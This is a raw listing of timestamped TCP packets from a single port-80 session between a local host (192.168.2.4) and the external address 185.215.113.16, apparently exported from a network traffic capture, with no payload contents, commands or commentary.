Nov 10, 2024 19:44:28.085973978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085983992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086002111 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086009026 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086041927 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086070061 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086081028 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086112976 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086138010 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086160898 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086170912 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086179972 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086194992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086204052 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086215019 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086221933 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086241007 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086260080 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086270094 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086311102 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086355925 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086385965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086395979 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086416006 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086424112 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086436033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086450100 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086464882 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086474895 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086484909 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086497068 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086505890 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086520910 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086543083 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086550951 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086560965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086580992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086597919 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086626053 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086744070 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086781025 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086787939 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086800098 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086826086 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086838961 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086847067 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086858034 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086875916 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086888075 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086896896 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086925983 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.086942911 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086951971 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086970091 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.086980104 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.087002039 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.164422989 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.164444923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.164505005 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.164518118 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.164558887 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.164580107 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.164598942 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.164609909 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.164619923 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.164632082 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.164644957 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.164652109 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.164665937 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.164685965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.164696932 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.164701939 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.164711952 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.164724112 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.164732933 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.164755106 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.164761066 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.164783955 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.164789915 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.164807081 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.164817095 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.164825916 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.164839983 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.164846897 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.164856911 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.164865971 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.164876938 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.164885998 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.164901972 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.164911985 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.164920092 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.164946079 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.201680899 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.201719999 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.201740980 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.201749086 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.201771975 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.201780081 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.201801062 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.201808929 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.201823950 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.201838970 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.201845884 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.201868057 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.201874971 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.201881886 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.201896906 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.201915026 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.201921940 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.201930046 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.201944113 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.201957941 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.201972008 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.201980114 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.201991081 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202012062 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202017069 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202028036 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202040911 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202049017 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202060938 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202079058 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202092886 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202099085 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202110052 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202126026 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202136993 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202146053 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202156067 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202178955 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202186108 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202195883 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202218056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202224016 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202236891 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202244043 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202259064 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202263117 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202275038 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202291965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202301025 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202313900 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202327013 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202347994 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202356100 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202370882 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202390909 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202404022 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202410936 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202421904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202440977 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202457905 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202464104 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202476025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202486038 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202508926 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202517033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202523947 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202538013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202550888 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202563047 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202569962 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202583075 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202594042 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202604055 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202614069 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202634096 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.202847958 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.202893972 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203008890 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203018904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203043938 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203052044 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203058958 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203073025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203083038 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203102112 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203109980 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203123093 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203138113 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203144073 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203151941 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203164101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203180075 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203186989 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203202009 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203221083 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203244925 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203254938 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203279972 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203310013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203331947 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203341007 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203351021 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203380108 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203429937 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203440905 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203459978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203480959 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203486919 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203494072 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203504086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203521967 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203531027 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203537941 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203552008 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203561068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203569889 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203583956 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203591108 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203605890 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203613043 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203625917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203632116 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203655005 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203665972 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203680038 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203692913 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203711987 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203716993 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203728914 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203737020 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203744888 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203761101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203793049 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203871965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203907013 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203922033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203933001 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203958035 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.203975916 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.203989029 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.204008102 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.204011917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.204024076 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.204030991 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.204042912 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.204050064 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.204063892 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.204082012 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.281716108 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.281771898 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.281794071 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.281802893 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.281829119 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.281836033 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.281848907 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.281861067 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.281868935 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.281893969 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.281908989 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.281917095 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.281928062 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.281951904 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.281963110 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.282110929 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.282120943 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.282139063 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.282149076 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.282160997 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.282171965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.282181978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.282191038 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.282203913 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.282222986 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.282232046 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.282244921 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.282253981 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.282272100 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.282288074 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.282299042 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.282325983 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.282798052 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.282851934 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.282870054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.282913923 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.320892096 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.320903063 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.320921898 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.320930958 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.320947886 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.320955992 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.320975065 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.321008921 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.322362900 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.322390079 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.322401047 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.322407961 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.322422981 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.322432995 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.322444916 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.322453022 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.322460890 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.322491884 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.323534966 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.323545933 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.323573112 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.323581934 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.323599100 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.323606968 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.323637962 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.323662043 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.325094938 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.325119019 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.325128078 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.325139046 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.325155020 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.325176954 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.325186968 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.325202942 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.325220108 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.325242043 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.326692104 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.326704025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.326721907 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.326730967 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.326744080 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.326754093 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.326771975 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.326803923 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.327064991 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.327075005 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.327116966 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.327276945 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.327306032 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.327317953 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.327332020 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.327339888 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.327352047 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.327368021 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.327382088 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.327387094 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.327397108 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.327414989 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.327425957 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.327434063 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.327444077 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.327454090 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.327465057 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.327471972 CET	49762	80	192.168.2.4	185.215.113.16
